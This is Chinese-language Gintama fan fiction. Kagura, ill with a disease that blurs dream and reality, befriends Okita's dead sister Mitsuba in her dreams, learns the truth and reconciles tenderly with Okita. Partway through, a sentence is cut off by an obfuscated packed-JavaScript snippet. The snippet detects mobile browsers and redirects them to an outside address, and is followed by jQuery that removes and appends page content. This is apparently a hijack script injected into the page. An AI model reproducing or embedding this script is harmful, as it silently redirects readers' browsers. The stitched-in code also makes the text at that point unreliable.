《冲神》 1. 梦 那个人。 熟悉的亚麻色发丝随风飘动,似曾相识的苏芳色眼睛闪闪发亮。 但她的脸上却洋溢着陌生的温和微笑。 好漂亮… 面对目不转睛的少女,那个人缓缓开口。 “初次见面。” *蝴蝶之梦* 那人身穿嫩草色的和服,伫立在河滩上。 这里是定春散步常去的地方,但今天没带它出来。手里握着刚从糖果店买来的醋海带,正四处寻找休息的地方。接着在视线的边缘发现了熟悉的亚麻色,下意识地追了上去,却不是想象中的那个人。 震动耳膜的声音很柔软。 虽然除了自己和那个人之外没有其他人影,但花了一点时间才明白那是针对自己的。 “……初次见面。” 终于说出口的话变成了只言片语,神乐发现自己好像有点紧张。是因为突然被一个漂亮的女人搭话了吗?还是因为无论如何都会想起的某个青年的脸呢? 那个人背对着倒映在水面上的亮光,伫立在那里,仿佛不经意间就会被那亮光攫去消失一般。 “你就是小China?” “什么?”听到这个熟悉的称号从女人嘴里说出来,神乐不禁惊呼出声。 “你认识我吗?” “嗯,是小总告诉我的。” “小总?” 看着头上浮现出问号的神乐,那个人轻轻低下了头。 “自我介绍晚了,我叫冲田三叶。小总……冲田总悟是我弟弟。” 弟弟?也就是说,这个人… “抖S…的姐姐阿鲁?” “是的。” 那个人——冲田三叶发出了开心的咯咯声。 “小总一直受您照顾了。”她朝神乐露出了美丽的笑容。 * “……你在干什么?” 对上视线的是两只惊讶的眼睛。 深红色的眼睛,时而如火焰般摇曳,神乐并不讨厌。 平常的公园里,在已经变成指定席的长椅上,身穿制服的冲田把头靠在椅背上睡着了,依然戴着他那副奇怪的眼罩。神乐正蹲在离长椅不远的地方,距离近得伸手就能够到冲田的脚,她就这么盯着看了一会儿冲田的样子。早已醒来的冲田对神乐不但没有袭击,甚至连话都没有说的行为感到可疑,便把眼罩推了上去,露出下面的眼睛。 “别那么热切地盯着我,会盯出洞的。” “不用担心,只要你愿意,我马上就把你打成马蜂窝。” 冲田想用刀鞘戳她的头,神乐赶紧站了起来,就这样向前迈了一步,把脸凑近了一点,冲田睁大了眼睛向后仰去。 “什么呀,你从刚才就在干什么?” “你……”她看了一眼头上戴着眼罩、诧异地瞪着自己的青年,“嗯”了一声,点了点头。接着站起身,在冲田身旁隔开一段距离坐下,冲田保持仰面朝天的姿势,只用视线追随着神乐。 “外表一模一样,内在却一点都不像的阿鲁。” “啊?到底在说什么?” 闪闪发光。 阳光透过树影,冲田的头发闪耀着金色的光泽。 摸起来应该会很舒服,但放在长椅上的手却一动也不动。 “前几天,我见到你的姐姐了。” 脑海中浮现出的,是几天前遇到的、和旁边这个青年很像的女性。她的笑容温和又温柔,完全看不出她和一见面就会恶语相加的冲田是姐弟。 “喂,小总这么可爱的称呼也太不适合你了。”神乐扑哧一声笑了起来。 他会不会因为害羞而脸红呢?这么想着,把视线投向他,却发现他面无表情,比平时更加无法读懂感情。 (啊、哎……?) 只是,苏芳色似乎有些动摇,面对这幅景象,神乐反而动摇了。 冲田瞥了神乐一眼。 “痛!”慢了一拍,冲田的手刀直接打中了神乐的脑袋。 她泪眼汪汪地想要抬起头来,却被按住脑袋的手挡了回去。 “你突然喊‘小总’,我都要起鸡皮疙瘩了。” “又不是我叫你的阿鲁!你干嘛敲淑女的脑袋!” “你知道淑女是什么意思吗?所谓淑女,指的是像姐姐那样的人。” “你…难道是姐控?程度超过新八的姐控?” “烦死了。不过,我不否认。” 好不容易解放了脑袋,神乐狠狠瞪了他一眼,冲田微微扬起嘴角。 这是对冲田来说天真无邪的笑容,神乐感到心神不宁,一边揉着头,一边移开视线。 ——对小总来说,我就像父母一样。 ——不知不觉就把他惯坏了。 说这话的三叶的表情,表明她打心底里爱着她的弟弟冲田。 类似的东西,也存在于神乐的幼年记忆中。 “嗯……你会变成姐控也不是不能理解,我也很喜欢妈咪。” 她想起了躺在病床上,对自己倾注无限爱意的母亲。年幼的神乐也一直在母亲身边守护着她,回应着她。 对冲田来说,三叶一定也和这一样吧。 (……这家伙在这方面居然像个正常人。) 嘴角不自觉扬起了弧线,冲田掐住神乐的脸:“你笑什么?” * 在那之后,又在镇上遇到过好几次三叶。 有时是初次见面的河滩,有时是经常去买醋海带的点心店,有时是万事屋附近的团子店。 至于今天… “好可爱……” 人来人往的商店街,神乐被一家商店的橱窗吸引住,与映在橱窗玻璃上的三叶四目相对。 “姐姐!” 猛地回过头,扑了过去,三叶轻轻张开双臂,接住了她,然后视线转向神乐看的橱窗,“啊”了一声。 “神乐,你在看那个布偶吗?” 那里有一只白兔玩偶。 红红的眼睛很可爱,但价钱却不可爱。 “是的!我想要…但是我没钱买。” “啊,真可惜。” 三叶为难地垂下眉毛,视线又回到神乐身上。 “本来想给你买的,不巧我手头也没有多少钱……对不起。” “没关系的!我会努力攒零花钱的!” 神乐咧嘴一笑,三叶也跟着浮现出笑容,摸了摸神乐的头。 以阿妙为首,神乐身边有很多比自己年长的女性,但三叶的气质和所有人都不一样。大和抚子这个词,一定就是为这个人而存在的吧。 神乐就这样被三叶邀请一起逛商店街,和阿妙出去购物的时候经常会来这条商业街,所以也用同样的方式带她到处逛。三叶微笑着跟在后面,不时高兴地叫出声来。 “啊……” 身后突然传来了三叶的声音,回头一看,她正站在店门口看里面的什么东西。往回几步一起看了看,里面有一袋似曾相识的红色点心,在哪里见过它呢?正在思考的时候,三叶纤细的手指把它拿了起来。 “这是我最喜欢的点心,超辣仙贝。” 她问可不可以买回来,神乐点点头说当然可以,三叶又拿了一袋去结账。回来的她把其中一袋递给神乐,微笑着说: “一起吃吧”。 打开袋子取出红彤彤的仙贝时,神乐想起来了。 “啊,这是小银以前吃过的那个!一边说辣辣辣,一边吃个不停,我还以为小银终于变成抖m了呢。” “呵呵,阿银也喜欢吗?” “姐姐,你和小银也是好朋友吗?” “以前受了很多照顾。” 竟然一个人接受这么漂亮的人的委托。 小银真狡猾,一边想着,一边咬了一口手里的仙贝,下一瞬间就被呛到了。“咳咳咳”,被三叶轻轻抚摸着后背。 “啊,这是什么啊,太辣了吧……” “不好吃吗?” 三叶面不改色地咀嚼着仙贝,简直不像是在吃同样的东西,神乐来回看了看三叶和手里的仙贝,嘴里还残留着一丝刺激,勾起了一段不堪回首的记忆。 “以前也发生过类似的事……被抖s强迫吃了加了塔巴斯科的蛋糕阿鲁。” “哎呀,塔巴斯科可真好吃啊。” “对姐姐来说可能是奖励,但抖s那家伙绝对是讨厌鬼,他总是找我麻烦。” 把对冲田的抱怨一股脑儿地说了出来,三叶吃惊地瞪大了眼睛。看到这样的情景,她担心自己是不是在姐姐面前说了太多坏话。 “但是,嗯,他也有不讨厌的地方。他很强,能和身为夜兔的我对抗,虽然扭曲,但我知道他有坚定的信念……”立刻脱口而出,但是没有说谎。 虽然有很多令人生气的事情,但是和冲田战斗很有趣,为了真选组、为了保护什么而挥刀的样子也让人尊敬。 她羞愧得声音越来越小,但三叶似乎听得清清楚楚。她好像觉得好笑似的轻声笑了起来,喃喃自语道: 你们俩都不老实啊。神乐歪着头,三叶抚摸着她的头说,没什么。 “对了,神乐,那个兔子玩偶,让小总给你买吧。” “什么?” “那孩子虽然不老实,但一定会买的。” “不不不,这是不可能的。” 神乐本想继续说那家伙没有给她买过什么东西,却沉默了。 并不是没有。 甚至可以说最近很常见。 和冲田以吵架为名的破坏活动仍在继续,但自从和三叶见面后,吵架后的对话就比较温和了。大体都是神乐在说和三叶见面说了什么、到哪里去了等等,冲田偶尔会随声附和。之后会在附近的自动售货机给她买果汁,有时在糖果店给她买点心。 ——我觉得偶尔给她喂食也不错。 一开始还有些警惕,以为他有什么企图,可是冲田看到神乐就咯咯地笑着说出这样的话,神乐没办法也只好收下了。 “今后也要和小总好好相处哦。” 不知道是否了解了神乐内心的想法,三叶温柔的声音落了下来。 “……既然是姐姐的请求,那就没办法了。” 神乐感到胸口一阵发痒,紧紧握住了雨伞。 * 一觉醒来,发现自己正躺在万事屋的沙发上。 抬头一看,银时还是一副闲得无聊的样子,正把脚放在董事长桌上休息着。看样子不知不觉睡了个午觉,透过窗户看到的天空渐渐染上了橙色。 “哦,起床了吗?神乐。” 她坐起身,揉着眼睛,银时注意到了,对她说。神乐敷衍地应了一声,迷迷糊糊地望着眼前的桌子,突然想起了应该放在那里的东西。 “小银,昨天我放在这里的点心哪儿去了?” “点心啊?” “是啊,三叶姐姐给的超辣仙贝。” 银时抬起头,瞥了一眼桌子,又把视线落回手上。 “啊……不好意思,我吃掉了。” “什么?小银你为什么喜欢吃超辣仙贝啊!你不是甜食党吗?那里写的糖分只是装饰而已吗?” “阿银除了甜食也会吃其他东西,这种仙贝也是癖好之一。” “哎,本来还想让抖s吃呢,我还想嘲笑他那被辣得直打哆嗦的样子呢。” “神乐,你仔细想想,那家伙是在那么爱吃辣的姐姐身边长大的,对辣的东西肯定有抗性。” 神乐“嗯”了一声。“怎么,这种东西都吃不下,真是可怜啊”,想象着冲田那张可恨的笑脸,感觉内心越来越焦躁。 “不过,要是带过去的话,多少会高兴一些吧。新八马上就买完东西回来了,晚饭前记得回来。” “好好好。” 虽然已是黄昏时分,但还有阳光,神乐抓起番伞,冲了出去。 今天还能见到三叶姐姐吗?她一边转动着番伞,一边迈着轻快的步伐前进。回过神来,发现自己已经来到昨天刚去过的商店街,于是向橱窗走去,里面仍然装饰着最近最喜欢的兔子玩偶。确认了一下还是和昨天一样坐在那里,没有被别人买才放心。 在夕阳下闪闪发光的红眼睛,和最近经常看到的红眼睛重叠在一起。 三叶眼睛的颜色。 那家伙的颜色。 想到这里,神乐轻轻摇了摇头。 “不,不可能。” 因为它的眼睛和冲田的颜色一样什么的。 有很多红眼睛的兔子,她对自己说,这没有意义。但一旦苏芳色的眼睛闪过脑海,就怎么也消失不了。 ——最近的状态怎么都不正常。 那双只会让人生气的眼睛里闪现出以前从未见过的颜色,不知道是在遇到三叶之前还是之后。说起姐姐时那相对平静的眼神,偶尔会转向神乐。不知为何,总感觉心里痒痒的,很不舒服。 (为什么要为那家伙的事心烦意乱呢?) 她又摇摇头,仿佛要甩掉思绪,发出“啊”的一声呻吟。 “形迹可疑的China。” 熟悉的声音从身后传来,神乐的肩膀猛地一抖。抬头一看,刚才还在脑海中的眼睛映在橱窗里。神乐想起昨天隔着玻璃也看到了同样的眼神,移开了视线。 “有什么事吗?” “没有,只是有个可疑人物趴在橱窗上大喊大叫,作为警察总不能置之不理吧?” “谁是可疑的人啊!平时偷懒的笨蛋,只有这种时候才去巡逻!” “啊,听不见啊。喂,你……” 冲田猛地一推伞,往橱窗里张望,神乐猛地拉开一步。他似乎认出了神乐在看的是布偶,笑嘻嘻地扭头看她。 “原来你在看布偶啊,果然还是个孩子。” “闭嘴,烦死了!你不也还是孩子吗?” 即使面对神乐的狂吠,冲田也毫不在意。被当成小孩子对待,神乐有些焦躁,狠狠地瞪着冲田。 ——那个兔子玩偶,让阿总给你买吧。 不,还是不行啊,姐姐。 “没事我就回去了,晚饭还在等着我呢。” 说着刚要转身,打开的番伞前端被人抓住了,神乐突然被向后一拽,重重地踏在地上。不高兴地回头问:“你干什么?” 柔软的东西扑面而来。 神乐条件反射般地拿起来看了看,坐在玻璃后面的兔子正回望着神乐的脸。 “为什么…这个?” “你想要吧?” 是啊,但是想问的不是这个。 她仰视着冲田,眼神仿佛在询问,冲田却移开了视线。 “被一个中国女天天盯着橱窗看,店里的人肯定会觉得不舒服吧。我拿着也没用,你就乖乖收下吧。” “你怎么知道每天都这样?跟踪狂吗?” “你要知道自己的红色衣服很显眼。” 冲田在场时,神乐没法表现出自己的高兴,只有拼命抑制住嘴角的上扬,抿紧了嘴唇。但最后还是忍不住,小心翼翼地抱住兔子,把脸埋了进去。一边享受着软绵绵的触感,一边想象着冲田买这只兔子的情景,露出了笑容。 “... ... 没办法,只好收下了。” “不可爱的家伙。” 和他说的话相反,明明听到了他在笑,抬头一看,眯起的红眼睛正看着她。 心脏扑通一声跳了起来。 “在这里等我一下!” 为了蒙混过去,神乐猛地抬起头,丢下这句话,从冲田身边跑了过去。 她没有回头看恐怕还在发愣的冲田,一发现要找的东西就抓住,用仅有的零用钱结账。然后快步跑回冲田身边,用力把它压在冲田胸前。 “我不想欠你钱,所以…” 红色袋子的超辣仙贝。 确认冲田拿在手上后,神乐往后退了一步。 “你应该很喜欢那个吧。对我来说太辣了,吃不下去。” 看不到冲田的脸,瞪着地面说道。原以为又会被嘲笑还是孩子,但冲田只是“哦”了一声,袋子在他手中沙沙作响。 “不也拿去姐姐那里吗?” “三叶姐姐昨天就吃了。” “……是吗?” ——啊,来了。 这么想着,从番伞下看了看冲田的表情,果然还是那个表情。 虽然知道那平静的、包含着爱的表情是对三叶的,但内心深处还是波涛汹涌。 神乐紧紧抱住兔子的手臂。 脸颊微微泛红,是夕阳的缘故吗? * 多日未见的太阳在天空中高高升起,但持续了一段时间的雨却在各处留下了痕迹。 神乐轻轻跳过映照着蓝天的水潭,一边哼着歌摇着雨伞。虽然离不开伞,但还是喜欢太阳出来的晴天。 “啊,中国小姐。” 正望着那朵似乎是在雨的恩惠下绽放的花,忽然听见有人的呼唤,抬起头来。不当班的山崎正罕见地穿着裙裤站在那里。 “吉米!好久不见阿鲁。你看起来还是那么朴素,真是太好了。” “不,什么叫很朴素……这一个半月来一直在监视,现在总算能喘口气了。” 听她这么一说,山崎苦笑的脸上似乎渗出了疲惫。吉米也很辛苦,她一边嘟囔着,一边把视线转回看着的花上。 “喂喂,这花叫什么名字?” 被许多叶片包围着绽放的可爱的白花。 山崎在旁边看了看。 “啊,这是白曲草。” “白曲草……” 为了记住这个名字,她在嘴里重复了几遍。 如果拿去给三叶姐姐,她会高兴吗? 距离最后一次见到三叶已经过了十天,以前每星期都至少能见到她一次,所以今天是为了寻找三叶才到外面来的。 “三叶姐姐,会喜欢这种花吗?” “咦?三叶姐姐……莫非是冲田队长的姐姐?” “是啊。” “啊,中国小姐竟然认识三叶大人。” 山崎一脸意外的感慨,神乐想问他是否知道三叶在哪里。 “把它供奉在墓前,她一定会很高兴的。” 正要伸向白曲草的手停住了,山崎好像没有注意到身旁的神乐僵硬了。 “冲田队长在三叶大人去世后好像会定期去扫墓,最近应该还会去,让他带你去怎么样?” (坟墓……你在说什么啊?) 如果是三叶的话,前不久不是还见过吗? 山崎露出和蔼的笑容继续说着话,神乐睁大眼睛抬起头,一把抓住他的手臂。 “你说她去世了阿鲁……这是什么时候的事?” “咦,已经半年了吧,肺病恶化了……那个,中国先生不知道吗?” 咣当一声。 像被钝器击打的冲击袭击了神乐。 半年前?肺部疾病? 脑海里只有单词在不停地循环。 第一次见到三叶是一个月前的事,从那以后到现在,明明和她见过很多次面,交谈过,接触过。 那三叶究竟是什么? (幽灵……?但是,小银也好抖s也好……) 只要神乐提起三叶,他们会理所当然地回应。 “中国小姐?没事吧?” 远处传来山崎担心地在神乐面前挥手的声音,映在视野里的白曲草软软地扭曲着,神乐感到喉咙里涌起一股东西,急忙用双手捂住了嘴。 “神乐……” 仿佛被往后拉一般,在渐渐远去的意识中,传来了银时焦急的声音。 ——神乐。 亚麻色的头发随风飘扬。 ——对不起。 苏芳色的温柔眯起的眼睛。 ——还会来见我吗?这次和小总一起,好吗? 伸手去触碰那个身影。 (等等,三叶姐姐……) 可是,在她的手还没够到之前,三叶就在光芒下散开,消失了。 “啊……” 睁开眼睛,看到了熟悉的天花板。 喘着粗气坐起来,才发现额头上冷汗涔涔。就在她擦拭的同时,拉门被拉开了。 “神乐,你醒了吗?” “小银……” 神乐被安置在银时平时起居的房间里,厨房那边传来一定节奏的菜刀声,新八应该也在。银时盘腿坐在被子旁边,冷静下来了吗?他担心地问道。神乐回想起倒在地上之前的情景,紧握着被子。 “小银……三叶姐姐呢?” 声音比想象中沙哑,她依依不舍地看向银时,银时罕见地露出认真的表情,过了一会儿,他挠了挠头,露出温柔的笑容。 “放心吧,神乐。我会把一切都告诉你的,好吗?” 深呼吸一下。 平静的声音告诉她,一切都是一场梦。 * 事情的开始,是神乐在委托回来的路上病倒了。 因为是阴天,又打着番伞,所以并没有被强烈的阳光照射,也没有身体不舒服的样子。神乐毫无征兆地突然倒下,银时和新八吓了一跳,他们认为离医院比回万事屋更近,便直接去了医院。 检查了一遍,被告知没有什么异常。 银时皱着眉头问: “既然如此,为什么会倒下?”医生继续说,有一件事想确认一下。 “这几天,有没有发现这位患者有什么奇怪的言行?” “奇怪的言行?” “嗯,比方说,明明一直在家睡觉,却好像出去了似的。” 坐在床边椅子上的新八突然抬起头。 医生的话让他有了头绪。 几天前,神乐在万事屋的沙发上睡着了,吃完晚饭说今天去了澄夜那里,那天明明没看见神乐外出,也没怎么在意她是不是睡糊涂了。 “好像是最近从宇宙传来的疾病,我接诊了好几个有同样症状的患者,他们的症状就是分不清梦境和现实。”据说他们会把睡觉时梦到的事情当成现实,目前病例很少,原因和治疗方法都不清楚。不过,听说一个月后就会自然痊愈。“睡的次数会多一些,也有报告说会突然睡着,这次突然晕倒大概也是这个原因吧。” 看了看神乐,确实没有不舒服的样子,睡得很安稳。看到她熟睡的样子,银时就放心了,轻轻地抚摸她的头。 “就这样带她回家也没关系,只是有可能会引起恐慌,所以如果没有什么特别的事情,就不要告诉她了,要好好配合她说话。” 医生说完就走出了房间,银时露出了苦笑。 把神乐带回万事屋后不久,她就醒了。像什么事都没发生过似的嚷嚷着肚子饿了,银时给她吃了三合白饭,向登势和真选组等神乐经常见到的人说明了神乐的病情,请求他们帮忙。 接下来的一段时间里,除了神乐偶尔会说几句她误以为是现实的梦之外,什么都没有发生。 大约半个月后,银时意想不到的名字从神乐嘴中脱口而出。 和神乐两个人出去买东西回来,刚好在路边碰到了土方和冲田。 “哦—哦—在干活吗?税金小偷。” “吵死了!我比你们这些一年到头都关门歇业的家伙工作得多。” 和往常一样一见面就对土方开着玩笑,旁边的神乐双手拿着超市的购物袋,和冲田踢来踢去。“对了!”她抬头看着土方。 “听说十四以前是长头发的!像假发那样吗?完全想象不出来。” “啊?你怎么会知道?” “三叶姐姐告诉我的!” “啪”的一声,土方嘴里的香烟掉了下来。他的眼睛睁得大大的,说不出话来。 银时也一样,如同破碎的机关一般俯视着神乐。她完全没有注意到凝固的两人,天真无邪地笑着继续说着话。在这期间不断出现的三叶姐姐这个词,表明刚才的话没有听错。 这时,冲田开口了。 “土方的长发啊,每次我把发绳藏起来,他就不能扎头发,会变成贞子那样,真是一幅杰作。” “啊!?我说怎么买了又没有了,原来是你干的!你……” 土方条件反射般地吐槽,却被冲田锐利的目光止住了。别再说了,好像是这个意思。 银时心想神乐应该知道些什么,便对神乐说。 “啊,神乐,我想起来跟多串君有点事,不好意思,你先回去和定春吃饭好吗?” “这么长时间的谈话有什么用?让定春饿着肚子也太可怜了,没办法阿鲁,再不快点回来,我就把阿银的那份也吃了!” 神乐抢过银时手里的超市袋子,跑了出去。完全看不见她的身影后,银时转向冲田。冲田什么也没说,似乎已经猜到了银时的意思,他转过身去,说: “进去吧。” “到底是怎么回事?中国姑娘怎么会说出那家伙的名字?” 吐出一口紫烟,土方低声问道。 晚饭时间还早,在人不多的家庭餐厅里,坐在银时对面的冲田一边用手指擦拭玻璃杯里的水珠,一边回答。 “嗯,和你们想象的一样。” 看来那家伙是在梦中见到了姐姐。 亲切地叫着三叶姐姐,应该不止一两次了吧。 “什么时候开始的?” “大概是一个星期前吧。一开始提到姐姐的名字时,我真的很惊讶。” 据说从那以后,神乐每次和冲田见面都会谈到三叶的事。 银时嗯了一声,按住眉间。看来事态正在朝着比想象中更麻烦的方向发展。 三叶去世才半年。 失去了重要的人,这种创伤还没有完全愈合吧。冲田也好,土方也好。 (那么,怎么说呢……) 该不该跟神乐好好谈谈呢? 冲田仿佛看穿了他的心思,开口说道。 “老板,没必要告诉他真相。” “……不过,你没事吧,冲田君?” 他看着冲田那双红色的眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012489|148600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎在辨别他的真实意图,但他还是一如既往地面无表情。 “听医生说再过半个月就能恢复正常了。既然如此,也没必要在这里扰乱她,况且我也没有什么问题,而且……” 冲田手边的玻璃杯里,冰块发出咔嗒咔嗒的声音。冲田的视线落在那里,嘴角突然放松下来。 “从她那里听说姐姐的事,也不错啊。” 只有和这个年轻人有相当的交情,才能看出这种微小的变化。 (这家伙还能做出这种表情……) 银时笑着说,好像比想象的还好。土方也斜眼瞟了冲田一眼,嘴角上扬。 望向窗外,倾斜的太阳把匆匆赶回家的人照得通红。再不回去的话,晚饭就要被神乐抢走了。 * 巡逻回来后,冲田走进自己的房间,把刀和上衣乱扔一气,穿着队服躺在榻榻米上。空气中弥漫着微弱的血腥味,心里想着要是先去洗澡就好了,但已经虚脱的身体却纹丝不动。 巡逻中,冲田甩掉搭档准备进入逃课路线,走进小巷时却被几个浪人包围。可能是一直埋伏在那,但几分钟后就被冲田的刀砍成了肉块。他联系了土方,把善后工作抛在脑后,放弃了中途的巡逻,直接回到了屯所。 翻了个身,放在衣柜上的姐姐的照片映入眼帘。 看到现在浑身是血躺在地上的冲田,姐姐会不会训斥他要振作点呢?还是会摸摸他的头说“辛苦了”呢? 之所以会有这样的想法,大概是因为这一个月来一直听穿着红色旗袍的少女说姐姐还活着。 经由土方得知神乐生病的消息时,他说有时会突然睡着,希望自己看到她能留意一下,没办法,只好在巡视的时候寻找红色的旗袍和紫藤色的番伞。 当从她的嘴中听到姐姐的名字时,还以为这是对自己一直砍人、浴血奋战的惩罚。已经不在人世的姐姐的幻影,偏偏是这个少女编织出来的,饶了我吧,内心发出了悲鸣。 但是,在和神乐聊了几次之后,他发现似乎并非如此。 三叶出现在神乐的梦中,让自己与神乐安稳相处的时间增加了,她脸上露出了以前很少看到的笑容。 ——话虽如此,还是觉得很恶心。 土方和银时得知神乐知道三叶存在的那一天。 在回屯所的路上,土方一边抽烟一边这么说。 “我头发的事也一样……不过是梦而已。但你明明知道‘事实’,万事屋是不会把那家伙的事告诉中国姑娘的吧?” 只是一个梦,说出来就是这样吧。 但是冲田有一点很肯定。 “我想,那家伙在梦中见到的姐姐……应该是真的。” “啊?怎么回事?” 土方讶异地看着这边。 透过神乐看到的姐姐的身影。 那不是被派来惩罚冲田的。 “是来见China的吧?” 和神乐在河滩上聊天,一起吃团子,一起去买东西。只要闭上眼睛,就能看到眼前真心开心笑着的姐姐。 “一定是因为我在姐姐的墓前说了很多关于那家伙的事……姐姐很在意,所以才来找她的。” ——小总,你有喜欢的人吗? 小时候,姐姐曾经问过我。当时别说喜欢的女孩子了,连朋友都没有,我摇了摇头。 ——那么,小总如果有了喜欢的女孩,一定要先告诉姐姐。 虽然这个约定在姐姐活着的时候没能实现。 “……是吗?三叶真是过度保护啊。” 旁边这个烟雾缭绕的男人,也在脑海中描绘着姐姐的模样吗?锐利而细长的眼睛中流露出一丝哀伤,凝视着远方。 “好不容易有那家伙来支持你……你好好抓住她吧。” 那个祈求姐姐幸福,却把她推开的男人。 那个男人,在失去了姐姐之后,还在思念着她吧。 “……那是当然。” 虽然他仍然是个令人讨厌的男人。 至少现在,冲田想,还是原谅他吧。 不知什么时候睡着了,听到一阵急促的脚步声,他睁开了眼睛。 坐起身,伸手去拿放着的刀。 恐怕不是队士,他拿起收在刀鞘里的刀,目不转睛地盯着脚步声逼近的纸拉门。 “啪”的一声,纸拉门猛地被打开,正准备砍下来的冲田看到了什么。 “China?” 那双几乎要溢出眼泪的蓝色大眼睛,熟悉的大红色旗袍。 冲田放松了下来,呼唤道,她那彷徨的视线似乎捕捉到了什么。 滴落的水珠在榻榻米上留下了斑斑点点的污渍。 * 脑袋昏昏沉沉的,银时的声音、新八的声音,还有眼前的饭菜都淡出了意识。 银时说的话令人难以置信。就在她无法理解的时候,传来了新八的声音:“吃饭吧。” “我知道你现在还不能接受,总之先吃点最喜欢的饭平复心情吧。” 新八拉着她的手,在客厅的沙发上坐了下来,可是她的脚却被一种轻飘飘的感觉绊住了。病发已经过去一个月了,现在看到的景象应该是现实,但这也可能是梦的想法却在脑海中挥之不去。 从哪里开始是梦?从哪里开始才是现实? 追溯一个月的记忆,连界线都很模糊。 但有一点我很清楚。 ——三叶姐姐不在了。 明明记忆还是新鲜的,清晰地留在脑海里。 温柔的声音,抚摸头的手的触感,像花一样的香味,明明都记得。 三叶早就不在人世了。 “神乐……” 可以感觉到银时他们担心的视线,神乐无法忍受这样的注视,低声说了句“对不起”,便站了起来。她摇摇晃晃地走向床边,打开壁橱,想待在里面直到整理好思绪为止,一个白色的玩偶正坐在那里。 “这个……” 红眼睛的,兔子玩偶。 小心翼翼地拿在手上,确实能感受到柔软的触感。冲田给的这个玩偶,现在就在这里。 (那不是梦) 脑海中掠过的是谈论三叶时冲田的表情。 “啊……” 下一瞬间,神乐从玄关冲了出去。 “神乐!” 身后传来银时的叫唤声,但她不为所动地跑着。神乐紧紧咬住嘴唇,胸口像被揪住一样难受。 ——这一个月来,冲田到底是怀着怎样的心情听她说话的呢? 越是看到冲田,越能体会到他仰慕姐姐的心意。这么重要的人,却再也无法触及,如果一个月都听她说见过面的话。 (妈咪的故事,如果被那样说的话……我……!) 肯定无法忍受。 穿过屯所的大门,擦肩而过的队士们惊讶地回头张望,她毫不在意地飞奔着。脱下鞋子冲进屋里,和在檐廊抽烟的土方四目相对。 “十四!” 她跑向吓得睁大眼睛的土方,抓住他的队服。 “中国姑娘,你不要随便……” “那家伙,抖s在哪里?” 面对突然闯进屯所的行为,土方责备地开口,但是看到神乐拼命的样子,又不吭声了。他似乎察觉到了什么,叹了口气,扬起下巴指了指里面。 “对面拐角的房间。” 目送着她一听到这话就跑过去的背影。“那家伙回那个世界了吗?”他抬头望着天空,喃喃自语,言语随着烟雾飘走,没有传到神乐的耳朵里。 “China?” 推开拉门,不知为何拿着刀的冲田微微睁大眼睛,放下刀,用困惑的声音叫着她的名字,但是神乐却只能发出粗重的喘息声。 虽然是一时冲动才跑到这里,但一旦面对冲田,就不知道说什么好了。各种各样的想法在脑海中盘旋,出口却仿佛被堵住了。 无法直视冲田的眼睛,只是飘忽着移开了视线。 手里拿着的刀,被脱掉的上衣。 然后… “……” 另一边,放在衣柜上的照片中温柔微笑着的三叶。 一直忍着的东西从眼中溢出来。 “呜……呜……” 滴滴答答地落在榻榻米上,停不下来,不想被人看到这幅样子,低下头,冲田的脚进入了视野。不知不觉间,冲田已经走到神乐面前,温柔地抓住了她的手腕。 “China,别擦得太厉害。” “呜,我、我……” 神乐在呜咽中挤出声音。 “三叶姐姐已经不在了吗?” “……啊,听谁说的?” “吉米……说你去扫墓了……” “啊……因为那家伙暂时不在屯所,所以还不知道事情的缘故。” 冲田一脸“糟糕”的表情,现在才知道自己还是让他担心了,心里更难受了。他应该关心的,至少不应该是她自己。 “虽然是梦…但我见到了姐姐是真的……你是个讨厌的家伙,但我没有想过拿死去的人来捉弄你……” “我知道。” “但是…结果还是伤害了你……对不起……” 我很害怕。 在自己不知情的情况下,伤害了别人。 即使那是总惹人生气的冲田。 ——倒不如说,正因为是冲田。 害怕伤害了对方,被对方真的讨厌。 越是这么想,就越会意识到冲田在自己心中的地位不知不觉间变得越来越重要。 “对不起…对不起……” 面对肩膀不停颤抖、不断掉眼泪的神乐,冲田一言不发。这让神乐更加揪心,当她开口道歉时,被抓住的手腕被猛地一拽,等神乐回过神来,已经被关在了冲田的怀里。 因为突如其来的变故而僵硬得连哭都忘了,冲田的手比三叶要大,慢慢地抚摸着她的后脑勺。虽然没有花的香味,但还是被一种甜蜜的味道和温暖包围着,心跳加快的同时也感到安心。 “我倒是挺开心的。” 冲田的下巴抵在神乐头上,低声说。神乐稍微挪动一下身体,就会被紧紧地抱住。 “虽然很惊讶,但我并没有受到伤害。听你说,姐姐好像也很高兴,倒不如说我很感谢你。” “啊、哦……” “是啊,姐姐从以前就一直在照顾我,周围的人也都是些混蛋,所以她应该更想和女人一起逛街买东西什么的。” 冲田稍稍放松了一下手臂,看着神乐的脸。 抬起被泪水浸湿的眼睛,冲田微微扬起嘴角眯起眼睛的脸就在眼前,神乐屏住了呼吸。 “所以,别哭了。” 低沉沙哑的声音低语。 微微冰冷的嘴唇轻轻贴在眼角上。 冲田舔了舔眼泪,咕哝了一声,离开了。 “什……” 一旦明白发生了什么,神乐就觉得自己的脸热得发烫。看着睁大眼睛、嘴巴一张一合的神乐,冲田咯咯地笑了。 “煮熟了,好可爱啊,笨蛋神乐。” “你,你,笨蛋!你在干什么?” 神乐扭动着身体想要从他的怀里逃跑,冲田一边按住她,一边喊道。 “你周末有空吗?” “周末?没什么特别的安排。” “那天是姐姐的忌日,我想带你去看看姐姐,得重新介绍一下。” 介绍?冲田歪着头,露出坏心眼的笑容。 “告诉她这是我最喜欢的China。” ——还会来见我吗?这次和小总一起,好吗? 神乐一边回想着最后听到的三叶的声音,一边把脸贴在冲田的胸前,以掩饰自己再次涨红的脸。 冲田的心跳越来越快了。 “是姐姐拜托的,我和你一起去,而且我也得打个招呼。” 抬头一看,在几乎能接触到的距离里,有一张像三叶一样稚气未消的脸。 神乐凝视着那双被长睫毛框住的红色眼睛,笑了。 “请把笨蛋抖s交给我。” “什…什么,这是求婚吗?” 冲田用一只手捂住脸,但是从头发缝隙中露出的耳朵已经被染成了红色。 